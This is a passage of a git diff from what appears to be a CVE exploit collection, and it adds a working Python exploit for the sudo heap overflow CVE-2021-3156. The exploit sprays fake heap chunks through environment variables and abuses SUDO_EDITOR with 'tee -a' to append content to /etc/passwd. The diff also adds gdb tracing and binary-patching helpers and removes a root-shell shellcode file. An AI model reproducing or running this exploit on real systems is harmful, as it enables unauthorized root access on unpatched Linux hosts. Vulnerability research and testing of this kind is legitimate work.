+ if has_aslr:
+ STACK_ADDR_PAGE = 0x7fffe5d35000
+ else:
+ STACK_ADDR_PAGE = 0x7fffffff1000 # for ASLR disabled
+
+ SA = STACK_ADDR_PAGE
+
+ ADDR_REFSTR = pack('var chunk (get freed)
+ b'\x21', b'', b'', b'', b'', b'', b'',
+ ADDR_PRIV[:6], b'', # pointer to privilege
+ ADDR_CMND[:6], b'', # pointer to cmndspec
+ ADDR_MEMBER[:6], b'', # pointer to member
+
+ # fake def->binding (list head) (get freed)
+ b'\x21', b'', b'', b'', b'', b'', b'',
+ b'', b'', b'', b'', b'', b'', b'', b'', # members.first
+ ADDR_USER[:6], b'', # members.last (unused, so use it for single userspec case)
+ b'A'*0x8 + # pad
+
+ # member chunk
+ b'\x31', b'', b'', b'', b'', b'', b'', # chunk size
+ b'A'*8 + # member.tqe_next (can be any)
+ ADDR_MEMBER_PREV[:6], b'', # member.tqe_prev
+ b'A'*8 + # member.name (can be any because this object is not freed)
+ pack('= 0x50:
+ env[-1] += b'A'*8 + ADDR_REFSTR[:6] + b'\\'
+ env.append(b'\\')
+ env.append(b'A'*8 + b'\x21\\') # padding, chunk size
+ else:
+ env[-1] += b'A'*8 + b'\x21\\' # padding, chunk size
+ env.extend([
+ b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', # need valid chunk metadata
+ b'A'*(offset_userspec-userspec_chunk_size-8+8-1)+b'\\'
+ ])
+
+ env.extend([
+ # userspec chunk
+ # for single userspec, sudo might pass checking and cause heap corruption when freeing
+ # stack memory (with all zero). this case is slower than other cases.
+ # for >=2 userspecs, this chunk is not used because list is iterated with head->last->prev->next
+ ADDR_USER[:6]+b'\\', b'\\', # entries.tqe_next
+ ADDR_USER_PREV[:6]+b'\\', b'\\', # entries.tqe_prev
+ b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', # users.tqh_first
+ #ADDR_MEMBER[:6]+b'\\', b'\\', # users.tqh_last
+ b'A'*8 + # users.tqh_last
+ b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'', # privileges.tqh_first
+ b"LC_ALL=C",
+ b"SUDO_EDITOR="+TEE_PATH+b" -a", # append stdin to /etc/passwd
+ b"TZ=:",
+ ])
+
+ # fill spray data
+ cnt = sum(map(len, epage))
+ padlen = 4096 - cnt - len(epage)
+ epage.append(b'P'*(padlen-1))
+
+ ENV_STACK_SIZE_MB = 4
+ for i in range(ENV_STACK_SIZE_MB * 1024 // 4):
+ env.extend(epage)
+
+ # reserve space in last element for '/usr/bin/sudo' and padding
+ env[-1] = env[-1][:-14-8]
+ env.append(None)
+
+ return env
+
+def run_until_success(argv, env):
+ cargv = (c_char_p * len(argv))(*argv)
+ cenvp = (c_char_p * len(env))(*env)
+
+ r, w = os.pipe()
+ os.dup2(r, 0)
+ w = os.fdopen(w, 'wb')
+ w.write(APPEND_CONTENT)
+ w.close()
+
+ null_fd = os.open('/dev/null', os.O_RDWR)
+ os.dup2(null_fd, 2)
+
+ for i in range(65536):
+ sys.stdout.write('%d\r' % i)
+ if i % 8 == 0:
+ sys.stdout.flush()
+ exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
+ if exit_code == 0:
+ print("success at %d" % i)
+ break
+ if exit_code not in (6, 7, 11):
+ print("invalid offset. exit code: %d" % exit_code)
+ break
+
+def main():
+ cmnd_size = int(sys.argv[1], 0) if len(sys.argv) > 1 else None
+ # -1 if no defaults
+ offset_defaults = int(sys.argv[2], 0) if len(sys.argv) > 2 else None
+ offset_first_userspec = int(sys.argv[3], 0) if len(sys.argv) > 3 else None
+ # offset_userspec is -1 if single userspec (only 1 rule in sudoers)
+ offset_userspec = int(sys.argv[4], 0) if len(sys.argv) > 4 else None
+
+ if cmnd_size is None:
+ cmnd_size = find_cmnd_size()
+ print("found cmnd size: 0x%x" % cmnd_size)
+
+ argv = [ b"sudoedit", b"-A", b"-s", PASSWD_PATH, b"A"*(cmnd_size-0x10-len(PASSWD_PATH)-1)+b"\\", None ]
+
+ env_prefix = [ b'A'*(7+0x4010+0x110) ]
+
+ if offset_defaults is None:
+ offset_defaults = -1
+ found_defaults, offset, env_prefix = find_defaults_chunk(argv, env_prefix)
+ if found_defaults:
+ offset_defaults = offset
+ print('found defaults, offset: 0x%x' % offset_defaults)
+ else:
+ print('no defaults in /etc/sudoers')
+ offset_defaults = -1
+ elif offset_defaults != -1:
+ env_prefix[-1] += b'A'*offset_defaults+b'\x41\\'
+ env_prefix.extend([ b'\\', b'\\', b'\\', b'\\', b'\\', b'\\' ])
+ env_prefix.extend(defaults_test_obj)
+
+ # first userspec offset MUST be known for cleaning up without a crash
+ if offset_first_userspec is None:
+ if has_fatal_cleanup:
+ offset, env_prefix, single_userspec = find_first_userspec_chunk(argv, env_prefix)
+ offset_first_userspec = offset
+ print("\noffset to first userspec: 0x%x" % offset_first_userspec)
+ if single_userspec:
+ print("single userspec mode")
+ offset_userspec = 0
+ else:
+ offset_first_userspec = 0
+ else:
+ env_prefix[-1] += b'A'*(offset_first_userspec)
+
+ if offset_userspec is None:
+ offset_userspec = find_target_userspec_chunk(argv, env_prefix)
+
+ print('')
+ print("cmnd size: 0x%x" % cmnd_size)
+ offset_defaults_txt = -1 if offset_defaults == -1 else "0x%x" % offset_defaults
+ print("offset to defaults: %s" % offset_defaults_txt)
+ print("offset to first userspec: 0x%x" % offset_first_userspec)
+ offset_userspec_txt = -1 if offset_userspec == -1 else "0x%x" % offset_userspec
+ print("offset to userspec: %s" % offset_userspec_txt)
+ print("\nto skip finding offsets next time no this machine, run: ")
+ print("%s 0x%x %s 0x%x %s" % (sys.argv[0], cmnd_size, offset_defaults_txt, offset_first_userspec, offset_userspec_txt))
+
+ if offset_first_userspec == 0:
+ if not has_fatal_cleanup:
+ print("\nTarget sudo has bug. No idea to find first userspec.")
+ print("So the exploit will fail if a running user is in sudoers and not in first two rules.")
+ # swap value to use only first userspec
+ offset_first_userspec, offset_userspec = offset_userspec, offset_first_userspec
+
+ env = create_env(offset_defaults, offset_first_userspec, offset_userspec)
+ run_until_success(argv, env)
+
+if __name__ == "__main__":
+ # global intialization
+ sudo_ver = check_sudo_version()
+
+ DEFAULTS_CMND = 269
+ if sudo_ver >= 15:
+ MATCH_ALL = 284
+ elif sudo_ver >= 13:
+ MATCH_ALL = 282
+ elif sudo_ver >= 7:
+ MATCH_ALL = 280
+ elif sudo_ver < 7:
+ MATCH_ALL = 279
+ DEFAULTS_CMND = 268
+
+ has_fatal_cleanup = sudo_ver >= 11
+ has_file = sudo_ver >= 19 # has defaults.file pointer
+
+ has_ldap = sudo_ver >= 23
+ if sudo_ver < 19:
+ userspec_chunk_size = 0x40
+ elif sudo_ver < 23:
+ userspec_chunk_size = 0x50
+ else:
+ userspec_chunk_size = 0x60
+
+ main()
diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/cmds_cent7 b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_cent7
new file mode 100644
index 0000000000000000000000000000000000000000..ffe22ebb15e53e0c29839ed77702358a78e32948
--- /dev/null
+++ b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_cent7
@@ -0,0 +1,79 @@
+set breakpoint pending on
+set disassembly-flavor intel
+set print pretty on
+set print asm-demangle on
+# disable paging
+set height 0
+set width 0
+set pagination off
+set $outside = 1
+# open file. on old system might be open syscall
+catch syscall openat
+commands
+ set $outside = ! $outside
+ if ($outside)
+ i r $rax
+ else
+ bt 4
+ end
+ continue
+end
+# malloc
+break __libc_malloc
+commands
+ bt
+ continue
+end
+# malloc result. return value from _int_malloc
+break malloc.c:2908
+commands
+ i r $rax
+ continue
+end
+# free
+break __GI___libc_free
+commands
+ bt
+ if $rdi != 0
+ x/4s $rdi
+ end
+ continue
+end
+# realloc(NULL, size) called malloc directly
+break __GI___libc_realloc if $rdi != 0
+commands
+ bt
+ #x/4s $rdi
+ continue
+end
+# realloc return
+#break *(__GI___libc_realloc+466) from _int_realloc
+break malloc.c:3045
+commands
+ i r $r15
+ continue
+end
+# nss_load_library
+break nss_load_library
+commands
+ continue
+end
+# calloc
+break __libc_calloc
+commands
+ bt
+ continue
+end
+# calloc return value (real return is malloc.c:3523 r8)
+# return from _int_malloc()
+break malloc.c:3247
+commands
+ i r $rax
+ continue
+end
+#run
+continue
+bt
+info proc mappings
+quit
+
diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/cmds_cent8 b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_cent8
new file mode 100644
index 0000000000000000000000000000000000000000..ad3e1b8b2287a961d9abfeefb45ca96e9acd23af
--- /dev/null
+++ b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_cent8
@@ -0,0 +1,76 @@
+set breakpoint pending on
+set disassembly-flavor intel
+set print pretty on
+set print asm-demangle on
+# disable paging
+set height 0
+set width 0
+set pagination off
+set $outside = 1
+catch syscall openat
+commands
+ set $outside = ! $outside
+ if ($outside)
+ i r $rax
+ else
+ bt 4
+ end
+ continue
+end
+break __libc_malloc
+commands
+ bt
+ continue
+end
+# malloc return
+break *(__GI___libc_malloc+193)
+commands
+ i r $rdx
+ continue
+end
+# free
+break __libc_free
+commands
+ bt
+ if $rdi != 0
+ x/4s $rdi
+ end
+ continue
+end
+# realloc(NULL, size) called malloc directly
+break __libc_realloc if $rdi != 0
+commands
+ bt
+ x/4s $rdi
+ continue
+end
+# realloc return (from _int_realloc)
+break malloc.c:3230
+commands
+ i r $rax
+ continue
+end
+# nss_load_library
+break nss_load_library
+commands
+ continue
+end
+# calloc
+break __libc_calloc
+commands
+ bt
+ continue
+end
+# calloc return value (real return is malloc.c:3523 r8)
+# return from _int_malloc()
+break malloc.c:3446
+commands
+ i r $rax
+ continue
+end
+#run
+continue
+bt
+info proc mappings
+quit
+
diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/cmds_deb10 b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_deb10
new file mode 100644
index 0000000000000000000000000000000000000000..c318df659ef37eaa8287f3a84693fcacd3f6fd1a
--- /dev/null
+++ b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_deb10
@@ -0,0 +1,63 @@
+set breakpoint pending on
+set disassembly-flavor intel
+set print pretty on
+set print asm-demangle on
+# disable paging
+set height 0
+set width 0
+set pagination off
+set $outside = 1
+catch syscall openat
+commands
+ set $outside = ! $outside
+ if ($outside)
+ i r $rax
+ else
+ bt 4
+ end
+ continue
+end
+# malloc
+break __libc_malloc
+commands
+ bt
+ continue
+end
+# malloc return
+break malloc.c:2937
+commands
+ i r $rdx
+ continue
+end
+# free
+break __libc_free
+commands
+ bt
+ if $rdi != 0
+ x/4s $rdi
+ end
+ continue
+end
+# realloc(NULL, size) called malloc directly
+break __libc_realloc if $rdi != 0
+commands
+ bt
+ x/4s $rdi
+ continue
+end
+# realloc return
+break malloc.c:3194
+commands
+ i r $r13
+ continue
+end
+break nss_load_library
+commands
+ continue
+end
+#run
+continue
+bt
+info proc mappings
+quit
+
diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/cmds_deb9 b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_deb9
new file mode 100644
index 0000000000000000000000000000000000000000..c86e2a05526cfbc297ddf99c3fd52d27c8f4cf81
--- /dev/null
+++ b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_deb9
@@ -0,0 +1,77 @@
+set breakpoint pending on
+set disassembly-flavor intel
+set print pretty on
+set print asm-demangle on
+# disable paging
+set height 0
+set width 0
+set pagination off
+set $outside = 1
+# open file. on old system might be open syscall
+catch syscall openat
+commands
+ set $outside = ! $outside
+ if ($outside)
+ i r $rax
+ else
+ bt 4
+ end
+ continue
+end
+# malloc
+break __libc_malloc
+commands
+ bt
+ continue
+end
+# malloc result from _int_malloc
+break malloc.c:2931
+commands
+ i r $rax
+ continue
+end
+# free
+break __libc_free
+commands
+ bt
+ if $rdi != 0
+ x/4s $rdi
+ end
+ continue
+end
+# realloc(NULL, size) called malloc directly
+break __libc_realloc if $rdi != 0
+commands
+ bt
+ #x/4s $rdi
+ continue
+end
+# realloc result, from _int_realloc
+break *(__libc_realloc+345)
+commands
+ i r $rax
+ continue
+end
+# nss_load_library
+break nss_load_library
+commands
+ continue
+end
+# calloc
+break __libc_calloc
+commands
+ bt
+ continue
+end
+# calloc result, return from _int_malloc()
+break *(__libc_calloc+635)
+commands
+ i r $rax
+ continue
+end
+#run
+continue
+bt
+info proc mappings
+quit
+
diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/cmds_u14 b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_u14
new file mode 100644
index 0000000000000000000000000000000000000000..f27c4c04b88eddd3b3968d13f2097147684600c0
--- /dev/null
+++ b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_u14
@@ -0,0 +1,77 @@
+set breakpoint pending on
+set disassembly-flavor intel
+set print pretty on
+set print asm-demangle on
+# disable paging
+set height 0
+set width 0
+set pagination off
+set $outside = 1
+# open file. on old system might be open syscall
+catch syscall open
+commands
+ set $outside = ! $outside
+ if ($outside)
+ i r $rax
+ else
+ bt 4
+ end
+ continue
+end
+# malloc
+break *(__libc_malloc+4)
+commands
+ bt
+ continue
+end
+# malloc result from _int_malloc
+break malloc.c:2892
+commands
+ i r $rax
+ continue
+end
+# free
+break __libc_free
+commands
+ bt
+ if $rdi != 0
+ x/4s $rdi
+ end
+ continue
+end
+# realloc(NULL, size) called malloc directly
+break *(__libc_realloc+15) if $rdi != 0
+commands
+ bt
+ #x/4s $rdi
+ continue
+end
+# realloc result
+break malloc.c:3048
+commands
+ i r $rax
+ continue
+end
+# nss_load_library
+break nss_load_library
+commands
+ continue
+end
+# calloc
+break __libc_calloc
+commands
+ bt
+ continue
+end
+# calloc result, return from _int_malloc()
+break malloc.c:3222
+commands
+ i r $rax
+ continue
+end
+#run
+continue
+bt
+info proc mappings
+quit
+
diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/cmds_u16 b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_u16
new file mode 100644
index 0000000000000000000000000000000000000000..6e0e154bea93ae562e631a2d5f79f6b732a95e74
--- /dev/null
+++ b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_u16
@@ -0,0 +1,77 @@
+set breakpoint pending on
+set confirm off
+set disassembly-flavor intel
+set print pretty on
+set print asm-demangle on
+# disable paging
+set height 0
+set width 0
+set pagination off
+set $outside = 1
+catch syscall open
+commands
+ set $outside = ! $outside
+ if ($outside)
+ i r $rax
+ else
+ bt 4
+ x/s $rdi
+ end
+ continue
+end
+break __libc_malloc
+commands
+ bt
+ continue
+end
+# malloc return
+break *(__libc_malloc+188)
+commands
+ i r $rdx
+ continue
+end
+# free
+break __libc_free
+commands
+ bt
+ if $rdi != 0
+ x/4s $rdi
+ end
+ continue
+end
+# realloc(NULL, size) called malloc directly
+break __libc_realloc if $rdi != 0
+commands
+ bt
+ x/4s $rdi
+ continue
+end
+# realloc return
+#break malloc.c:3259
+break kill
+commands
+ i r $r13
+ continue
+end
+break nss_load_library
+commands
+ continue
+end
+# calloc
+break __libc_calloc
+commands
+ bt
+ continue
+end
+# calloc return
+break malloc.c:3246
+commands
+ i r $rax
+ continue
+end
+#run
+continue
+bt
+info proc mappings
+quit
+
diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/cmds_u18 b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_u18
new file mode 100644
index 0000000000000000000000000000000000000000..89cabf2adb4dabeca51b2c772dd770cd2b1a62f8
--- /dev/null
+++ b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_u18
@@ -0,0 +1,77 @@
+set breakpoint pending on
+set disassembly-flavor intel
+set print pretty on
+set print asm-demangle on
+# disable paging
+set height 0
+set width 0
+set pagination off
+set $outside = 1
+# open file. on old system might be open syscall
+catch syscall openat
+commands
+ set $outside = ! $outside
+ if ($outside)
+ i r $rax
+ else
+ bt 4
+ end
+ continue
+end
+# malloc
+break __GI___libc_malloc
+commands
+ bt
+ continue
+end
+# malloc return
+break malloc.c:3091
+commands
+ i r $rdx
+ continue
+end
+# free
+break __GI___libc_free
+commands
+ bt
+ if $rdi != 0
+ x/4s $rdi
+ end
+ continue
+end
+# realloc(NULL, size) called malloc directly
+break __GI___libc_realloc if $rdi != 0
+commands
+ bt
+ #x/4s $rdi
+ continue
+end
+# realloc return
+break malloc.c:3259
+commands
+ i r $r13
+ continue
+end
+# nss_load_library
+break nss_load_library
+commands
+ continue
+end
+# calloc
+break __libc_calloc
+commands
+ bt
+ continue
+end
+# return from _int_malloc()
+break malloc.c:3448
+commands
+ i r $rax
+ continue
+end
+#run
+continue
+bt
+info proc mappings
+quit
+
diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/gdbexp.py b/cve/sudo/2021/CVE-2021-3156/gdb/gdbexp.py
new file mode 100644
index 0000000000000000000000000000000000000000..2fb2fbe4398d4b8f082c85b652a1d497f69a1515
--- /dev/null
+++ b/cve/sudo/2021/CVE-2021-3156/gdb/gdbexp.py
@@ -0,0 +1,37 @@
+#!/usr/bin/python3
+'''
+Client for tracing patched sudo. Don't forget to start server first before running this.
+
+Running command:
+python gdbexp.py exploit.py
+'''
+import subprocess
+import sys
+import time
+
+
+if len(sys.argv) < 2:
+ print('Usage: %s [args...]' % sys.argv[0])
+ exit(1)
+
+cmd = 'python'
+if sys.version_info[0] == 3:
+ cmd += '3'
+
+FIFO_PATH = "/tmp/gdbsudo"
+
+proc = subprocess.Popen([cmd] + sys.argv[1:], stdin=subprocess.PIPE, bufsize=0)
+#time.sleep(0.5)
+
+# send to gdber to start debugging
+fifo = open(FIFO_PATH, "w")
+fifo.write(str(proc.pid))
+fifo.close()
+time.sleep(0.5)
+
+# trigger enter, resume sudo
+proc.stdin.write(b'\n')
+proc.stdin.close() # close stdin to exit incase we get shell
+
+ret = proc.wait()
+print('exit code: %d' % ret)
diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/gdbroot.py b/cve/sudo/2021/CVE-2021-3156/gdb/gdbroot.py
new file mode 100644
index 0000000000000000000000000000000000000000..f736ecfba5a360a245116b0ceb05df6302148c46
--- /dev/null
+++ b/cve/sudo/2021/CVE-2021-3156/gdb/gdbroot.py
@@ -0,0 +1,31 @@
+#!/usr/bin/python3
+'''
+Server for tracing patched sudo. run it with sudo or as root.
+Requires 'cmds' file as gdb comamnds in current directory.
+
+Running command:
+python gdbroot.py
+'''
+import os
+import time
+
+FIFO_PATH = "/tmp/gdbsudo"
+
+try:
+ os.unlink(FIFO_PATH)
+except:
+ pass
+
+os.umask(0)
+os.mkfifo(FIFO_PATH, 0o666)
+
+while True:
+ fifo = open(FIFO_PATH, "r")
+ pid = int(fifo.read())
+ fifo.close()
+ cmd = 'gdb -q -p %d < cmds > log 2>&1' % pid
+ print('\n=== got: %d. sleep 0.5s' % pid)
+ #time.sleep(0.5)
+ print(cmd)
+ os.system(cmd)
+ print('done')
diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/parse.py b/cve/sudo/2021/CVE-2021-3156/gdb/parse.py
new file mode 100644
index 0000000000000000000000000000000000000000..6d1480f80fd6ca42042059f22e108e58cfc32bea
--- /dev/null
+++ b/cve/sudo/2021/CVE-2021-3156/gdb/parse.py
@@ -0,0 +1,193 @@
+#!/usr/bin/python3
+'''
+For parsing gdb trace log
+'''
+import re
+import sys
+
+break_pattern = re.compile(r'^\w+\s+(\d+),(.*in)?\s+(\w+)\s+\((.*)\) .+$')
+
+record = None
+records = []
+
+def new_catch_record(line):
+ # now, catch only 1 syscall. get filename
+ #pos = line.index('"') + 1
+ #epos = line.index('"', pos)
+ #fname = line[pos:epos]
+ fname = None
+ return { 'type': 'open', 'file': fname, 'bt': [] }
+
+def parse_args(txt):
+ args = []
+ for arg_txt in txt.split(', '):
+ if arg_txt[-1] == '"':
+ # assume text
+ args.append(arg_txt[arg_txt.index('"')+1:-1])
+ continue
+
+ pos = arg_txt.index('=')
+ name = arg_txt[:pos]
+ pos += 1
+ # argument name might be name=name@entry=
+ if name == arg_txt[pos:pos+len(name)]:
+ pos += len("@entry=") + len(name)
+ args.append(arg_txt[pos:])
+ return args
+
+def new_breakpoint_record(line):
+ # malloc, free, realloc, calloc
+ m = break_pattern.match(line)
+ bid, _, fn_name, fn_args = m.groups()
+ if bid == '2' and '__libc_malloc' in fn_name: # malloc
+ args = parse_args(fn_args)
+ return { 'type': 'malloc', 'size': int(args[0]), 'result': None, 'bt': [] }
+ elif bid == '4' and '__libc_free' in fn_name: # free
+ args = parse_args(fn_args)
+ return { 'type': 'free', 'mem': int(args[0], 16), 'bt': [] }
+ elif bid == '5' and '__libc_realloc' in fn_name: # realloc
+ #if 'realloc_hook_ini' not in line:
+ args = parse_args(fn_args)
+ return { 'type': 'realloc', 'mem': int(args[0], 16), 'size': int(args[1]), 'result': None, 'bt': [] }
+ elif bid == '7' and fn_name == 'nss_load_library': # nss_load_library
+ args = parse_args(fn_args)
+ return { 'type': 'nss_load_library', 'addr': int(args[0], 16) }
+ elif bid == '8' and fn_name == '__libc_calloc': # calloc
+ args = parse_args(fn_args)
+ return { 'type': 'calloc', 'n': int(args[0]), 'esize': int(args[1]), 'result': None, 'bt': [] }
+
+ return None
+
+def update_record_bt(record, line):
+ addr = None
+ if line[4:6] == '0x':
+ addr = int(line[4:22], 16)
+ pos = 26
+ else:
+ pos = 4
+
+ epos = line.index(' ', pos)
+ fn_name = line[pos:epos]
+ pos = epos+1
+ assert line[pos] == '('
+ pos += 1
+ epos = line.find(') at ')
+ if epos == -1:
+ args = None
+ src = line[4:22]
+ else:
+ args = line[pos:epos]
+ src = line[epos + 5:].rstrip()
+ record['bt'].append((addr, fn_name, args, src))
+
+def update_record_result(record, line):
+ #assert record['result'] is None
+ pos = line.index('0x')
+ epos = line.find('\t', pos)
+ if epos == -1:
+ epos = line.index(' ', pos)
+ record['result'] = int(line[pos:epos], 16)
+
+# don't go too depth. make it easy to read
+# __GI_setlocale
+curr_cstack = []
+def print_call_stack(bt):
+ global curr_cstack
+ updated = False
+ pos = 0
+ for i, info in enumerate(bt):
+ addr, fn_name, args, src = info
+ # 'nss_load_library',
+ if fn_name in ('__GI_setlocale', 'sudo_conf_read_v1', '__GI___nss_database_lookup', 'nss_parse_service_list', 'nss_new_service', 'get_user_info', 'parse_args', 'sudo_load_plugin', 'format_plugin_settings', 'sudoers_policy_open', 'sudoers_policy_main', 'set_cmnd', 'register_hook'):
+ pos = i
+ break
+ cstack = list(reversed(bt[i:]))
+
+ if len(curr_cstack) == len(cstack):
+ for old, new in zip(curr_cstack, cstack):
+ if old[1] != new[1] or old[3] != new[3]:
+ updated = True
+ break
+ else:
+ updated = True
+
+ if updated:
+ curr_cstack = cstack
+ print('')
+ for info in cstack:
+ addr, fn_name, args, src = info
+ if fn_name == '__GI___nss_database_lookup':
+ args = parse_args(args)
+ print(f'{fn_name}(db={args[0]}, default="{args[2]}")')
+ elif fn_name == 'nss_parse_service_list':
+ pos = args.index('"') + 1
+ pos = args.index('"', pos)
+ pos = args.index('"', pos+10) + 1
+ epos = args.index('"', pos)
+ line = args[pos:epos].strip()
+ print(f'{fn_name}("{line}")')
+ else:
+ print(f'{fn_name} at {src}')
+
+def analyze_record(record):
+ if record is None:
+ return
+
+ if record['type'] == 'open':
+ return
+ if record['type'] == 'nss_load_library':
+ print(f"\nnss_load_library(0x{record['addr']:x})\n")
+ return
+
+
+ print_call_stack(record['bt'])
+ if record['type'] == 'malloc':
+ chunk_size = (record['size'] + 8 + 15) & 0xfffffff0
+ if chunk_size < 0x20:
+ chunk_size = 0x20 # min size
+ if record['result']:
+ print(f"- malloc(0x{record['size']:x}) => 0x{record['result']:08x} => chunk size: 0x{chunk_size:x}")
+ else:
+ print(f"- malloc(0x{record['size']:x}) => chunk size: 0x{chunk_size:x}")
+ elif record['type'] == 'free':
+ print(f"- free(0x{record['mem']:08x})")
+ elif record['type'] == 'realloc':
+ if record['result']:
+ print(f"- realloc(0x{record['mem']:08x}, {record['size']}) => 0x{record['result']:08x}")
+ else:
+ print(f"- realloc(0x{record['mem']:08x}, {record['size']})")
+ elif record['type'] == 'calloc':
+ chunk_size = ((record['esize']*record['n']) + 8 + 15) & 0xfffffff0
+ if chunk_size < 0x20:
+ chunk_size = 0x20 # min size
+ print(f"- calloc({record['n']}, {record['esize']}) => 0x{record['result']:08x} => chunk size: 0x{chunk_size:x}")
+
+
+start = False
+with open(sys.argv[1], 'r') as f:
+ for line in f:
+ if not start:
+ line = line.strip()
+ if ' Continuing.' in line:
+ start = True
+ continue
+
+ if line.startswith('Catchpoint '):
+ analyze_record(record)
+ record = new_catch_record(line)
+ records.append(record)
+ elif line.startswith('Breakpoint '):
+ tmp_record = new_breakpoint_record(line)
+ if tmp_record is not None:
+ analyze_record(record)
+ record = tmp_record
+ records.append(record)
+ elif line.startswith('#'):
+ if record is not None:
+ update_record_bt(record, line)
+ elif line.startswith('r'):
+ if record is not None:
+ update_record_result(record, line)
+
+ analyze_record(record)
+
diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/patch.py b/cve/sudo/2021/CVE-2021-3156/gdb/patch.py
new file mode 100644
index 0000000000000000000000000000000000000000..75b2fe266b6cfbe3755a5b1fbf71b66d35ccc58b
--- /dev/null
+++ b/cve/sudo/2021/CVE-2021-3156/gdb/patch.py
@@ -0,0 +1,64 @@
+#!/usr/bin/python3
+'''
+Quick and dirty patch for sudo on Linux x64 to pause for character in start of main.
+It is used for debugging sudo that run from user environment.
+
+Does not work on very old binaries (from Ubuntu 14.04, CentOS 6)
+'''
+import sys
+import subprocess
+
+orig_file = sys.argv[1]
+out_file = sys.argv[2]
+
+patch_data = (
+ b'\x31\xc0' # xor eax, eax
+ b'\x31\xff' # xor edi, edi
+ b'\x48\x89\xe6' # mov rsi, rsp
+ b'\xba\x01\x00\x00\x00' # mov edx, 1
+ b'\x0f\x05' # syscall
+)
+
+patch_offset = None
+patch_len = None
+with subprocess.Popen(['objdump', '-d', '-M', 'intel', orig_file], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True) as proc:
+ found_text_section = False
+ found_call_sudo_debug = False
+ for line in proc.stdout:
+ if not found_text_section:
+ if line.startswith('Disassembly of section .text:'):
+ found_text_section = True
+ continue
+
+ if not found_call_sudo_debug:
+ # just estimate value
+ asm = line.strip()[20:]
+ if 'call ' in asm and ' = len(patch_data)
+
+patch_data = patch_data.ljust(patch_len, b'\x90')
+with open(orig_file, 'rb') as f:
+ data = f.read()
+
+with open(out_file, 'wb') as f:
+ f.write(data[:patch_offset])
+ f.write(patch_data)
+ f.write(data[patch_offset+patch_len:])
diff --git a/cve/sudo/2021/CVE-2021-3156/images/450acf1a2f14793aafa987905b20eeba.png b/cve/sudo/2021/CVE-2021-3156/images/450acf1a2f14793aafa987905b20eeba.png
deleted file mode 100644
index 3bfa8aa6c8fca049ec5ca5e3d29dc6fb70074c5d..0000000000000000000000000000000000000000
Binary files a/cve/sudo/2021/CVE-2021-3156/images/450acf1a2f14793aafa987905b20eeba.png and /dev/null differ
diff --git a/cve/sudo/2021/CVE-2021-3156/shellcode.c b/cve/sudo/2021/CVE-2021-3156/shellcode.c
deleted file mode 100644
index 367a918f2b5461d33eb497476c90eb59ed4d3376..0000000000000000000000000000000000000000
--- a/cve/sudo/2021/CVE-2021-3156/shellcode.c
+++ /dev/null
@@ -1,34 +0,0 @@
-static void __attribute__((constructor)) _init(void) {
- __asm __volatile__(
- "addq $64, %rsp;"
- // setuid(0);
- "movq $105, %rax;"
- "movq $0, %rdi;"
- "syscall;"
-
-
- // setgid(0);
- "movq $106, %rax;"
- "movq $0, %rdi;"
- "syscall;"
-
-
- // execve("/bin/sh");
- "movq $59, %rax;"
- "movq $0x0068732f6e69622f, %rdi;"
- "pushq %rdi;"
- "movq %rsp, %rdi;"
- "movq $0, %rdx;"
- "pushq %rdx;"
- "pushq %rdi;"
- "movq %rsp, %rsi;"
- "syscall;"
-
-
- // exit(0);
- "movq $60, %rax;"
- "movq $0, %rdi;"
- "syscall;"
-
-);
-}
diff --git a/cve/sudo/2021/yaml/CVE-2021-3156.yaml b/cve/sudo/2021/yaml/CVE-2021-3156.yaml
index fde43125b89ef59e12781805dc96aae2055df5ce..5782b43067351fdb186e305dc72697488ff67639 100644
--- a/cve/sudo/2021/yaml/CVE-2021-3156.yaml
+++ b/cve/sudo/2021/yaml/CVE-2021-3156.yaml
@@ -1,5 +1,5 @@
id: CVE-2021-3156
-source: https://github.com/Rvn0xsy/CVE-2021-3156-plus
+source: https://github.com/worawit/CVE-2021-3156
info:
name: Sudo是一款使用于类Unix系统的,允许用户通过安全的方式使用特殊的权限执行命令的程序。
severity: high
diff --git a/other_list.yaml b/other_list.yaml
index b545c6c0d076a40910ee56c0896906b08f4d6977..0da73d52db6244f5b65ee680cc5d7a3c19e91b04 100644
--- a/other_list.yaml
+++ b/other_list.yaml
@@ -1,3 +1,5 @@
#此收录漏洞列表为非openKylin发行版用例。
cve:
+ linux-kernel:
+ - CVE-2022-0995
cnvd:
\ No newline at end of file